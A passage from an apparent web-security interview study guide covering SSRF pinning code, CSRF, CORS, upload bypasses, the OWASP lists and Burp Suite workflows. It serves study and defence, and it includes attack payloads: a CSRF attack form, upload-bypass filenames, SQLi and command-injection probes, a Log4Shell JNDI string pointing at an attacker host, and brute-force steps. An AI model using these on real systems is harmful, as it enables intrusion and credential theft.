raise ValueError("blocked: non-public IP")
pinned = pinned or sockaddr[0]
return pinned
class _PinnedHTTPSConnection(http.client.HTTPSConnection):
def __init__(self, hostname, pinned_ip, *args, **kwargs):
super().__init__(pinned_ip, *args, **kwargs)
self._real_host = hostname
def connect(self):
raw = socket.create_connection((self.host, self.port), timeout=self.timeout)
self.sock = ssl.create_default_context().wrap_socket(raw, server_hostname=self._real_host)
def safe_fetch(url):
p = urlparse(url)
if p.scheme != "https" or p.hostname not in ALLOWED:
raise ValueError("blocked")
pinned = _validated_ip(p.hostname)
path = p.path or "/"
if p.query:
path += "?" + p.query
conn = _PinnedHTTPSConnection(p.hostname, pinned, timeout=5)
conn.request("GET", path, headers={"Host": p.hostname})
return conn.getresponse() # re-validate each redirect hop, or don't follow redirects
Interview question you will get. "You allow-list hosts, but SSRF still works. What did you miss?" Model answer: the check and the connection used different DNS resolutions (rebinding), a redirect moved the request after validation, or an alternate IP encoding slipped past a string match. Resolve once, validate every resolved address, pin the TCP connection to that IP, disable or re-validate redirects, and block link-local/RFC1918 at the egress layer — with IMDSv2 as the second line.
3. Cross-Cutting Web Controls (high-frequency follow-ups)
CSRF
Browser auto-sends cookies, so a malicious page can trigger a state-changing request.
<!-- attacker page -->
<form action="https://bank.example/transfer" method="POST">
<input name="to" value="attacker"><input name="amount" value="9999">
</form><script>document.forms[0].submit()</script>
Defences: SameSite=Lax/Strict cookies (default in modern browsers but be explicit; None requires Secure), synchronizer CSRF tokens (per-session or double-submit) on all state-changing requests, verify Origin/Referer, don't accept state changes over GET, and require re-auth for sensitive actions. Note: SameSite alone isn't enough for same-site subdomain issues; tokens remain the gold standard.
SOP, CORS, CSP, HSTS, Clickjacking
| Control | What it does | Common mistake |
|---|---|---|
| Same-Origin Policy | Browsers restrict cross-origin reads of DOM/storage | Assuming it stops cross-origin writes (CSRF) |
| CORS | Opt-in relaxation of SOP | Access-Control-Allow-Origin: * with Allow-Credentials: true; reflecting Origin blindly; allowing all methods/headers |
| CSP | Restricts script/style/frame sources | unsafe-inline/unsafe-eval; no nonce/hash; no object-src/base-uri |
| HSTS | Forces HTTPS, blocks SSL-strip | Missing includeSubDomains, no preload |
| Clickjacking | Prevents framing | Relying on X-Frame-Options alone (obsoleted by CSP frame-ancestors; keep DENY as legacy fallback); prefer frame-ancestors 'none' |
Access-Control-Allow-Origin: https://app.example.com # exact allow-list, never *
Access-Control-Allow-Credentials: true
Vary: Origin
File Upload
Bypasses: shell.php.jpg, shell.pHp, .phtml/.jspx, double extensions, Content-Type: image/png spoofing, magic bytes prepended (GIF89a;<?php ...), null byte shell.php%00.jpg, SVG with embedded script (XSS), ZIP/../ filename traversal, huge files (DoS), .htaccess/.user.ini upload, and execution via backup/config extensions.
How those bypasses work. The filename and the content are separate trust boundaries. shell.php.jpg passes an "ends with .jpg" check while Apache may still map the .php handler from an earlier extension; shell.pHp beats a case-sensitive compare. On content, Content-Type: image/png fools a MIME-only check, and GIF89a;<?php ... satisfies a magic-byte check while the script survives. SVG is XSS because it is XML that can carry <script>, ZIP entries and ../ names become traversal on extraction, and .htaccess/.user.ini can make inert files execute.
Fixes: allow-list extensions and verify content by magic bytes/re-parse, rename to a random server-side name, store outside the webroot (or in object storage) and serve via a handler that sets Content-Disposition: attachment + X-Content-Type-Options: nosniff, never trust client MIME/name, strip metadata (EXIF), size limits, malware scan, separate domain for user content, disable execution in the upload path, and re-encode images.
ALLOWED = {".png": b"\x89PNG\r\n\x1a\n", ".jpg": b"\xff\xd8\xff"}
name = f"{uuid4().hex}{ext}" # server-generated name
path = os.path.join("/var/app/uploads", name) # outside webroot
Rate Limiting, Lockout, CAPTCHA
Layer them: per-IP + per-account + per-endpoint + global; token buckets; exponential backoff; progressive lockout after N failures (that doesn't create a DoS-lockout weapon — pair with notifications); CAPTCHA/proof-of-work at the edge; device fingerprinting and bot management; alert on spikes. Apply tighter limits to login, OTP, password reset, gift-card/PIN checks, and coupon redemption. Don't forget login response timing and lockout as user enumeration.
Why layering is arithmetic. A six-digit OTP has one million values; at 1,000 guesses per second it falls in under 17 minutes. A per-IP limit of 10/minute is defeated by 100 IPs, so per-account velocity is what actually protects the secret — count failures per account, per device, and globally, with exponential backoff. Gift-card PINs are the same maths at one in 10,000 per guess, so the control has to sit against the account or card, not the source address.
Secrets in Code
Never commit secrets. Use a vault (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault) or platform env injection with short-lived/rotated credentials. Scan pre-commit (gitleaks, detect-secrets, trufflehog) and CI; enable Git host secret scanning + push protection. If leaked: rotate immediately (revocation first — assume compromise; deleting the commit is not enough since forks/caches retain it), then purge history via git filter-repo/BFG and audit usage. .gitignore + .env.example with placeholders.
API Top 10 (2023) for mobile and checkout APIs
Mobile and partner APIs are where the web Top 10 stops being enough: machine-consumed, object IDs in JSON, and often weaker than the web app.
| API risk | Checkout/mobile example |
|---|---|
| API1 BOLA | GET /api/v2/orders/{id} returns any order; bulk /orders?ids= skips ownership |
| API2 Broken auth | Mobile token never expires; refresh token still valid after logout |
| API3 BOPLA | Response returns internal_cost; attacker sets discount_rate in the body |
| API4 Resource consumption | Unlimited /search pagination; no cap on OTP/SMS sends |
| API5 BFLA | POST /api/admin/refund accepted from a normal user token |
| API6 Business flows | Scalper bots mass-reserve stock; coupon/points farming |
| API7 SSRF | "Import image from URL" fetches 169.254.169.254 |
| API8 Misconfiguration | Verbose errors, permissive CORS, reachable staging host |
| API9 Improper inventory | Old /api/v1 or retired app version still live with weaker authz |
| API10 Unsafe consumption | Partner webhook or third-party response trusted without signature checks |
4. Burp Suite Hands-On
Setup mental model
Browser → Burp Proxy (localhost:8080) → target. Install Burp's CA in the browser to decrypt TLS. Turn scope on (Target → Scope) so out-of-scope traffic isn't logged; use the embedded Chromium/Burp browser.
Module map
| Module | Purpose |
|---|---|
| Proxy → Intercept / HTTP history | Capture, pause, edit requests/responses; the source of truth for everything else |
| Target → Site map / Scope | App map, endpoint discovery, scope filter |
| Repeater | Manually tweak and resend one request; compare responses (Ctrl+R) |
| Intruder | Automated payloads/brute force (Ctrl+I); Community is throttled |
| Decoder | Encode/decode URL, base64, hex, HTML, hashes |
| Comparer | Diff two responses (word/byte-level) — spots subtle authz deltas |
| Sequencer | Analyses randomness of tokens/session IDs (FIPS tests) |
| Logger / Collaborator (Pro) | Full traffic log; out-of-band interaction server for blind SSRF/XXE/SQLi |
| BApp Store | Extensions: Turbo Intruder, Autorize, JWT Editor, Logger++ |
Walkthrough: attacking a login form
- Map it. Browse to
/login, submituser@example.com/wrongpasswith intercept on. InProxy > HTTP history, findPOST /api/login(JSON or form body). Note status,Set-Cookie, response length, and whether the error message distinguishes bad user vs bad password. - Baseline in Repeater. Right-click → Send to Repeater. Send as-is; note the failure response byte-for-byte. This baseline is what you diff everything against.
- User enumeration. Send to Intruder.
Clear §, select the email value,Add §. Attack type Sniper (one payload set, one position). Payloads = candidate usernames/emails. Start. Sort by Status and Length, or set Grep – Match on distinct error strings (Invalid usernamevsInvalid password). An outlier length/status reveals valid accounts. - Password brute force / credential stuffing.
- Pitchfork: two payload sets (valid usernames, passwords) iterated in parallel by line — exactly for matched credential pairs.
- Cluster Bomb: every username × every password (cartesian product) — use deliberately; request counts explode.
- Battering Ram: one payload set inserted into all positions at once (same value everywhere).
- Sniper with two positions also tests each position separately with the same list.
- Add Grep – Match:
Welcome,dashboard,Invalid; success often appears as a 302 redirect or a sharply different length. - Rate limits / lockout test. Watch for
429,Retry-After, CAPTCHA, lockout after N tries. In Community, Intruder throttles requests (set fixed delay intentionally); use Turbo Intruder for race/burst testing, or Repeater’s parallel-send feature to test race conditions (e.g. redeem coupon twice simultaneously). - Session analysis with Sequencer. Right-click a response containing a session ID/CSRF token/reset token → Send to Sequencer. Capture a few thousand samples, run FIPS 140-2 randomness tests. Low entropy or predictable sequential IDs = session hijacking/fixation risk. Also check: token changes on login? invalidated on logout?
Secure/HttpOnly/SameSitepresent? - Authz testing (the highest-value step). Log in as two users (A and B) in separate browser profiles/containers. Send User A's authorized request to Repeater, swap IDs/tokens for B's objects. Check horizontal (same role, other user) and vertical (low-priv → admin endpoint) access. Use the Autorize extension to automate the "replay as another user" comparison across the whole site map.
- Injection testing. In Repeater, fuzz one parameter at a time:
',' AND 1=1-- -,' AND SLEEP(5)-- -,<script>alert(1)</script>,${7*7},;id. Look for errors, content delta, or time delta. XSS: inject a unique marker, then find where it surfaces; inspect the browser DOM/console for execution. For blind issues, use Collaborator payloads (or a self-hosted interactsh) and watch for DNS/HTTP callbacks. - Evidence. Capture request + response + steps to reproduce + impact + suggested fix (e.g. "parameterized query at
UserRepository.findByEmail"). A finding without a reproducible PoC and a fix is half an answer.
Walkthrough: IDOR/BOLA end to end in Repeater
Narrate this when asked "show me how you actually test authorization." Target: GET /api/v1/orders/{id}.
- Two accounts. Register User A and User B; A creates order
1041, taking the ID from the API response, not the browser. - Baseline. As A, find
GET /api/v1/orders/1041in HTTP history; record status, length, and the JSON fields (id,customer_id,total,invoice_url). - Replay across the boundary.
Ctrl+Rto Repeater, change the ID to B's1042, send. A200with B's data is the finding;403/404means the check exists here — test other routes, verbs, and ID spaces before calling it fixed. - Confirm and widen. Repeat with non-adjacent IDs and try the write path (
PATCH /api/v1/orders/1042). Use Autorize to replay the whole site map as B and flag same-length/same-status responses, which surfaces/v2/,/invoice, and bulk endpoints you would miss by hand. - Sibling variants. Move the ID between path, body, and query; try
X-Tenant-Id; drop the auth header to see whether "authenticated" is optional. - Evidence and fix. Keep the paired requests (A's token, B's object), state impact in business terms, and name the code fix: ownership predicate plus 404, central deny-by-default authorization, and a regression test replaying A as B on every build.
Search-flow mini-walkthrough (checklist: login/search). Intercept GET /search?q=<marker> → send to Repeater → check where the marker reflects and in which context (HTML/attribute/JS) → test encoding (<, ", ') → probe q for SQLi/NoSQLi (', ", $ne, $regex) → check DOM sinks (location.search → innerHTML) in DevTools.
Common Burp interview traps
- Community vs Pro: no scanner/Collaborator in Community; Intruder is throttled.
- Knowing payloads isn't the skill; knowing which module, in which order, against which trust boundary is.
- Always confirm scope/authorization first — say it out loud in an interview.
5. Real Interview Q&A
Q1. Explain XSS and how to prevent it.
XSS is untrusted input being interpreted as script in a victim's browser within your origin, granting session/action theft. Three types: reflected (returned immediately), stored (persisted, hits everyone), DOM (client-side source → sink). Prevent with context-aware output encoding (HTML/attribute/JS/URL contexts), safe DOM APIs (textContent not innerHTML), framework auto-escaping, DOM sanitization (DOMPurify) where HTML is required, a nonce-based CSP as defence-in-depth, HttpOnly/Secure/SameSite cookies so tokens can't be read, and input validation for data-shape.
Q2. Explain SQL injection and how to prevent it.
SQLi is untrusted input altering query structure. Types: error-based, UNION-based, boolean-blind, time-blind, second-order. Prevention: parameterized queries/prepared statements (the primary fix — user data is bound as data and cannot change the parsed AST), ORM/query builders with bound parameters (e.g. sqlc generates parameterised Go — safe by default as long as you don't interpolate into raw SQL), least-privilege DB accounts (e.g. app role gets SELECT/INSERT on needed tables only, no DROP/pg_read_file), allow-list validation (e.g. ORDER BY column names can't be parameterized), generic errors, and WAF as compensating only. Blacklisting quotes fails to encoding/comment tricks.
Q3. What is IDOR and how did you fix one?
Cross-tenant session takeover from session-store keying (IDOR is the analogy I use): the store was keyed without tenant/uid, so one tenant's session could resolve as another's — a horizontal escalation like an IDOR. I reproduced it with two tenants/sessions in Burp Repeater, then fixed it by keying sessions on (pool, uid) with fail-closed UID resolution (unresolvable UID denies), returning 404 instead of 403 on object lookups, adding session rotation on login plus HttpOnly/Secure/SameSite cookies, and adding regression tests that swap IDs/sessions across tenants.
Q4. What's the difference between authentication and authorization? Authentication verifies identity (login, MFA, password). Authorization determines what an authenticated principal may do (roles, ownership, scopes). Nearly all high-impact web bugs are authorization failures after successful auth — which is why A01 ranks first.
Q5. What's the difference between stored, reflected, and DOM XSS in testing terms?
Reflected: fire per-request via crafted link; test by injecting markers into parameters and observing reflection context. Stored: persists and fires for other users; test by submitting payloads via comments/profiles then viewing in another session. DOM: server never sees the payload; test by tracing JavaScript sources (location, document.referrer) to sinks (innerHTML, eval) in DevTools and reading client code.
Q6. How do you detect SQLi with no visible errors?
Blind SQLi — boolean: compare true/false conditions (AND 1=1 vs AND 1=2) for content/length/status deltas; time-based: use DB-specific delays (SLEEP(5), pg_sleep(5), WAITFOR DELAY) and measure response time; out-of-band: force DNS/HTTP callbacks via Burp Collaborator. Always compare against a baseline and repeat to rule out jitter.
Q7. What is SSRF and why is 169.254.169.254 special?
SSRF makes the server fetch an attacker-chosen URL, reaching internal services the attacker can't. 169.254.169.254 is the cloud instance metadata service; on AWS with an IAM role, GET /latest/meta-data/iam/security-credentials/<role> returns temporary credentials. Capital One 2019: SSRF → IMDS creds → S3 exfiltration of ~100M records. Mitigate with destination allow-lists, egress filtering, IMDSv2, and least-privilege roles.
Q8. How would you stop SSRF bypasses like redirects, DNS rebinding, and alternate IP encodings? Don't string-match. Allow-list exact hostnames/schemes; resolve once, validate the resolved IP is public, then connect to that pinned IP retaining SNI/Host; disable or re-validate redirects; block RFC1918/link-local/loopback at the egress layer; require IMDSv2; and reject unusual IP formats. Defence must hold at both the application and network layers.
Q9. What is CSRF and how do you defend against it?
Cross-Site Request Forgery abuses the browser's automatic credential attachment to make a victim's browser send a state-changing request to your site. Defend with SameSite=Lax/Strict cookies, per-session synchronizer tokens verified server-side on all state-changing requests, Origin/Referer checks, no state changes via GET, and step-up auth for sensitive operations. Note XSS defeats CSRF tokens, so prevent XSS too.
Q10. Explain CORS and a common misconfiguration.
CORS lets a server opt in to cross-origin reads, relaxing the Same-Origin Policy. The dangerous pattern is reflecting arbitrary Origin values while sending Access-Control-Allow-Credentials: true — that lets any site read authenticated responses. Also Access-Control-Allow-Origin: * with credentials (browsers reject it) and trusting null origins. Fix: exact allow-list, Vary: Origin, restricted methods/headers, and no credentials where not needed.
Q11. What security headers do you always check?
Content-Security-Policy (nonce/hash based, object-src 'none', base-uri 'none', frame-ancestors 'none'), Strict-Transport-Security with includeSubDomains; preload, X-Content-Type-Options: nosniff, Referrer-Policy, Permissions-Policy, and Set-Cookie flags. X-Frame-Options: DENY is a legacy fallback for frame-ancestors.
Q12. How would you test a file upload feature?
Attempt extension/MIME/magic-byte bypasses (double extension, mixed case, .phtml, shell.php.jpg, GIF89a; prefix, null bytes), try traversal filenames, SVG/HTML for XSS, oversized files, .htaccess/.user.ini, and check whether stored files are served with an executing handler. Fix by allow-listing extensions, verifying content (re-parse/re-encode images), random server-side names, storing outside the webroot or in object storage, forcing Content-Disposition: attachment, nosniff, size limits, AV scanning, and serving user content from a separate origin.
Q13. What is the difference between session fixation and session hijacking?
Fixation: the attacker sets/predicts the victim's session ID before login, then reuses it after authentication — fixed by regenerating the session ID on login and privilege change and rejecting session IDs from URLs/params. Hijacking: stealing/predicting a valid session token (XSS, sniffing, logs, malware) — mitigated by TLS/HSTS, HttpOnly/Secure/SameSite cookies, short lifetimes, rotation, server-side logout revocation, and anomaly detection.
Q14. How do you securely store passwords? Never encrypt or hash with MD5/SHA-1. Use a memory-hard, salted password hash — Argon2id (preferred), bcrypt (cost ≥12), or scrypt — with a per-user salt and tuned cost parameters. Add pepper stored in a KMS, upgrade hashes on login as parameters change, and rate-limit/breach-check.
Q15. What is Log4Shell and how would you respond?
CVE-2021-44228: Log4j 2 performed JNDI lookups on log content, so ${jndi:ldap://attacker/x} in any logged field (User-Agent, username) gave unauthenticated RCE. Response: inventory affected versions via SBOM/scans, prioritise internet-facing logging paths, patch to 2.17.1+ (2.15.0/2.16.0 were incomplete — CVE-2021-45046/45105/44832), remove JndiLookup.class as the reliable stopgap (formatMsgNoLookups=true only covers 2.10–2.14 vs CVE-2021-44228), rotate exposed credentials, and hunt for post-exploitation — LDAP callbacks, new processes, crypto-miners, unusual egress. Lesson: fold SBOM + SCA into CI so emergency response starts from an accurate inventory.
Q16. What is an SBOM and why does it matter? A Software Bill of Materials is a machine-readable inventory (CycloneDX/SPDX) of components and versions in a build. It answers "are we affected?" in minutes during an incident like Log4Shell, supports licence compliance, and feeds SCA/vulnerability triage. Generate automatically in CI and store per release.
Q17. What is insecure deserialization and how do you prevent it?
Turning untrusted serialized data into live objects can trigger gadget chains and achieve RCE (Java ObjectInputStream, Python pickle, PHP unserialize, .NET BinaryFormatter). Prevent by not accepting native serialized formats from clients — prefer strict JSON schemas, disable polymorphic/default typing (disableDefaultTyping()), allow-list classes if unavoidable, sign/encrypt serialized blobs, run deserializers with least privilege, and keep libraries patched.
Q18. What should and shouldn't be logged? Log security-relevant events: auth success/failure with user + IP, lockouts, MFA/password changes, authz denials, admin/payment actions, session lifecycle, validation failures, with correlation IDs and UTC timestamps. Do not log passwords, tokens/cookies/JWTs, full PANs/CVV, or unnecessary PII; pseudonymise identifiers. Protect log integrity (append-only, separate account), forward to a SIEM, alert on thresholds, and watch for log injection (encode CR/LF).
Q19. What is insecure design vs security misconfiguration? Insecure design (A04) is a flaw in the intended behaviour — e.g. a checkout that trusts client-supplied prices or a password-reset that emails the password. No amount of correct coding fixes it; it needs threat modelling, abuse-case requirements, and redesign. Misconfiguration (A05) is correct code deployed wrong — debug enabled, default creds, permissive CORS. Fixing A05 is hardening; fixing A04 is changing the design.
Q20. How do you prevent brute force and credential stuffing? Per-IP, per-account, and global rate limits with exponential backoff; progressive lockout with alerting (not permanent account DoS); CAPTCHA/proof-of-work at the edge; MFA; breached-credential checks; device fingerprinting/bot management; uniform error messages to stop enumeration; monitoring and blocking of distributed patterns (credential stuffing is low-and-slow across IPs, so pair IP limits with account-level velocity checks).
Q21. Walk me through how you'd test an API for BOLA (API1:2023).
OWASP API Top 10 (2023) high level: API1 BOLA, API2 broken authentication, API3 BOPLA (property-level authz), API4 unconstrained consumption, API5 broken function-level authz, API6 unrestrained business flows, API7 SSRF, API8 misconfiguration, API9 improper inventory, API10 unsafe API consumption. Authenticate as two users, enumerate every endpoint accepting IDs (path, body, query, GraphQL node IDs, bulk endpoints), replay as the other user and as an unauthenticated client, check whether authorization is enforced at the object level. Also test function-level authz (admin endpoints), excessive data exposure (does the response return fields the UI doesn't need?), mass assignment (can I set role/isAdmin/balance?), and JWT weaknesses (alg none, weak HMAC secret, missing signature verification, kid injection). Fix with centralized, deny-by-default authorization on every object access, response DTO allow-lists, and server-owned fields.
Q22. What is mass assignment and how do you fix it?
The framework auto-binds all request fields to a model, so an attacker adds "role": "admin" or "balance": 9999 to a normal update request. Fix with explicit allow-list DTOs/serializers, @JsonIgnore/readonly on privileged fields, and never bind request bodies directly to ORM entities.
Q23. How do you handle JWT securely?
Verify the signature with a fixed, server-chosen algorithm (never trust the header's alg, reject none), use strong secrets or asymmetric keys with rotation via kid, validate iss/aud/exp/nbf, keep access tokens short-lived with refresh rotation and revocation, store them where XSS can't read them (HttpOnly cookie with CSRF protection, or in-memory) — not localStorage if avoidable, and never put secrets/PII in the payload (it's only encoded, not encrypted).
Q24. A Burp scan flags a high-severity finding. What do you do? Reproduce manually in Repeater against a baseline, confirm exploitability and the real impact (not just the scanner's claim), identify the trust boundary and root cause, capture clean request/response evidence, determine whether it's exploitable without auth, assign CVSS/priority by business impact, write the fix with code-level guidance, then verify after the fix. I treat scanner output as leads, not findings — false positives waste engineering time.
Q25. What is Burp Sequencer used for?
Statistically analysing token randomness. You feed it many session IDs/CSRF tokens/reset tokens and it runs FIPS-style entropy tests; low entropy or predictable structure indicates a weak PRNG, enabling session prediction/hijacking. Related: Content-Length-based response analysis in Intruder to spot valid vs invalid results.
Q26. How do you test a payment workflow (your Gravitas project)? Map the state machine (cart → order → payment intent → capture → refund), then test each transition: can I change the amount after authorisation? Replay a capture callback? Forge/replay webhook signatures? Swap order IDs (IDOR/BOLA)? Race two refunds concurrently? Use negative amounts or currency confusion? Download another user's invoice? The fixes were server-side price lookup, idempotency keys on payment operations, signed webhook verification with replay protection, ownership checks on order/invoice objects, and audit logging of every money-moving action.
6. Quick Revision Table
| Risk | One-line definition | Killer example | Primary fix | Burp test |
|---|---|---|---|---|
| A01 Broken Access Control | Missing/broken authz on objects, functions, URLs | GET /orders/1042 returns another user's invoice |
Server-side ownership check + deny by default | Two accounts, swap IDs in Repeater; Autorize |
| A02 Crypto Failures | Sensitive data weakly/missing encrypted | MD5 passwords; HTTP login; AES-ECB | TLS+HSTS, Argon2id, AEAD, key vault | Check cookie flags, TLS, hashes offline |
| A03 Injection | Data interpreted as code | ' UNION SELECT…-- -; <img onerror=…>; ;id; {{7*7}} |
Parameterized queries, contextual encoding, no shell=True |
Repeater payloads; Collaborator for blind |
| A04 Insecure Design | Flawed business logic/architecture | Client-supplied price; no rate limit on PIN check | Threat model, server-side invariants, rate limits | Logic abuse, race conditions, replay |
| A05 Misconfig | Insecure defaults/hardening gap | DEBUG=True, default admin/admin, directory listing |
Harden baseline, headers, remove defaults, IaC scan | Check headers, error pages, exposed files |
| A06 Vulnerable Components | Known-CVE dependencies | Log4Shell CVE-2021-44228 | SCA + SBOM + patch SLA | Fingerprint versions, banner/JS libs |
| A07 Auth Failures | Weak auth/session lifecycle | Session fixation; credential stuffing; reset token reuse | MFA, session rotation, lockout/rate limit, uniform errors | Sequencer, Intruder, reset-flow tests |
| A08 Integrity Failures | Unverified code/data | pickle.loads; unsigned update; Actions @v3 not SHA |
JSON schemas, no native deserialization, signed artifacts | Look for serialized blobs (rO0, gASV) |
| A09 Logging Failures | Can't detect/attribute attacks | No log of failed logins; passwords logged | Structured security events, SIEM alerts, redaction | Review responses/logs for PII leakage |
| A10 SSRF | Server fetches attacker URL | 169.254.169.254/latest/meta-data/iam/security-credentials/ |
Allow-list + egress filter + IMDSv2 | Collaborator, redirect/DNS-rebind/bypass encodings |
Cross-cutting cheat sheet
| Attack | Fast fix |
|---|---|
| CSRF | SameSite + synchronizer token + Origin check |
| CORS abuse | Exact origin allow-list, no * with credentials |
| Clickjacking | frame-ancestors 'none' (+ X-Frame-Options: DENY) |
| XSS | Contextual encoding + nonce CSP + HttpOnly |
| Path traversal | Realpath containment + allow-list names |
| Upload → RCE | Allow-list ext, magic bytes, rename, store off-root |
| Brute force | Rate limit + lockout + MFA + CAPTCHA |
| Secrets leak | Vault + gitleaks + rotate on exposure |
| SSRF | Allow-list, pin IP, IMDSv2, egress proxy |
7. Common Mistakes in Interviews
- Reciting the OWASP list without exploit or fix. Interviewers probe depth ("show me the payload, then the patch"). Every answer should be: definition → example → impact → primary fix → defence-in-depth.
- Saying "use a WAF" or "sanitize input" as the fix for SQLi/XSS. WAF is compensating; the primary fix is parameterized queries and context-aware output encoding.
- Confusing authentication with authorization. Most critical findings are authz bugs after login.
- Only knowing IDOR as "change the ID in the URL." It also lives in JSON bodies, headers, GraphQL node IDs, file paths, and bulk APIs — that's BOLA, the #1 API risk.
- Forgetting that Insecure Design can't be fixed in code. A04 needs threat modelling and process, not a patch.
- Treating
HttpOnlyas a complete XSS fix. It protects cookie theft but injected script can still act as the user (CSRF-token read, transactions). Combine with CSP and encoding. - Blocklisting for SSRF (rejecting
169.254.169.254and localhost strings). Encoding, redirects, and DNS rebinding defeat it — use allow-lists and egress control. - Claiming deleting a leaked secret commit is enough. Rotate/revoke first; history lives in forks, caches, and clones.
- Describing Burp as "a scanner." It's a manual workflow hub; walk Proxy → Repeater → Intruder → Collaborator in a logical order and mention scope/authorization.
- Mixing up Intruder attack types. Sniper = one set, one position at a time; Battering Ram = one set, all positions; Pitchfork = parallel per-line sets; Cluster Bomb = full cartesian product. Choose based on the question; mention Community's throttle.
- Ignoring the request/response evidence and CVSS/business impact. A finding without a reproducible PoC and a fix reads as junior.
- Not connecting to your own projects. Tie Gravitas (payment IDOR, webhook replay, price tampering) and CookOff (upload validation, XSS in submissions, session takeover fix) into answers — Walmart explicitly digs into projects owned.
- Forgetting logging's PII line. "Log everything" is wrong; know what not to log (passwords, tokens, PANs, PII).
- Skipping authorization/scope. Never describe testing a system you don't own or aren't authorized to test; say it upfront.